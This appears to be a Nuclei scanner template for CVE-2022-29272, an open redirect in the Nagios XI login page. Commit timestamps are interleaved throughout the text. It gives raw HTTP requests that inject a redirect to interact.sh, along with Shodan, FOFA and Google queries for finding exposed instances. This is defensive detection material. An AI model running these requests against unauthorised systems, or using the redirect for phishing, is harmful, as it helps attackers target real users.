2022-08-16 16:14:18 +00:00
id : CVE-2022-29272
info :
2022-10-19 21:11:27 +00:00
name : Nagios XI <5.8.5 - Open Redirect
2022-08-16 16:14:18 +00:00
author : ritikchaddha
severity : medium
description : |
2022-10-19 21:11:27 +00:00
Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade Nagios XI to version 5.8.5 or later to mitigate the vulnerability.
2022-08-16 16:14:18 +00:00
reference :
- https://github.com/sT0wn-nl/CVEs/tree/master/CVE-2022-29272
2022-08-21 13:23:43 +00:00
- https://github.com/4LPH4-NL/CVEs
- https://github.com/sT0wn-nl/CVEs/blob/master/README.md#nagios-xi
2022-10-19 21:11:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-29272
2023-07-15 16:29:17 +00:00
- https://assets.nagios.com/downloads/nagiosxi/CHANGES-5.TXT
2022-08-16 16:14:18 +00:00
classification :
2022-08-21 13:23:43 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-08-16 16:14:18 +00:00
cve-id : CVE-2022-29272
2022-08-21 13:23:43 +00:00
cwe-id : CWE-601
2023-12-12 11:07:52 +00:00
epss-score : 0.0033
2024-01-14 13:49:27 +00:00
epss-percentile : 0.67975
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-15 16:29:17 +00:00
vendor : nagios
product : nagios_xi
2024-05-31 19:23:20 +00:00
shodan-query : http.title:"nagios xi"
fofa-query : title="nagios xi"
google-query : intitle:"nagios xi"
2023-07-15 16:29:17 +00:00
tags : cve,cve2022,redirect,nagios,nagiosxi
2022-08-16 16:14:18 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-08-16 16:14:18 +00:00
- raw :
- |
2022-08-20 07:15:27 +00:00
GET /nagiosxi/login.php?redirect=/www.interact.sh HTTP/1.1
2022-08-16 16:14:18 +00:00
Host : {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-08-20 06:58:45 +00:00
nsp={{nsp_token}}&page=auth&debug=&pageopt=login&redirect=%2Fwww.interact.sh&username={{username}}&password={{password}}&loginButton=Login
2022-08-16 16:14:18 +00:00
2022-10-07 21:27:25 +00:00
host-redirects : true
2022-08-16 16:14:18 +00:00
max-redirects : 2
matchers :
- type : regex
part : header
regex :
2023-03-01 08:39:14 +00:00
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
2022-08-16 16:14:18 +00:00
extractors :
- type : regex
name : nsp_token
group : 1
regex :
- '<input type="hidden" name="nsp" value="(.*)">'
- "<input type='hidden' name='nsp' value='(.*)'>"
2023-07-15 16:29:17 +00:00
internal : true
part : body
2024-06-01 06:53:00 +00:00
# digest: 490a0046304402201426a56cfb1ab3a352f1f1604646839ac31e772a168ec6bb1d200bc2013433ce0220086f2bed2bdfbc803b4ea906fd4cc4e9d57bc183c59bc216e86aef876d19fc73:922c64590222798bb761d5b6d8e72950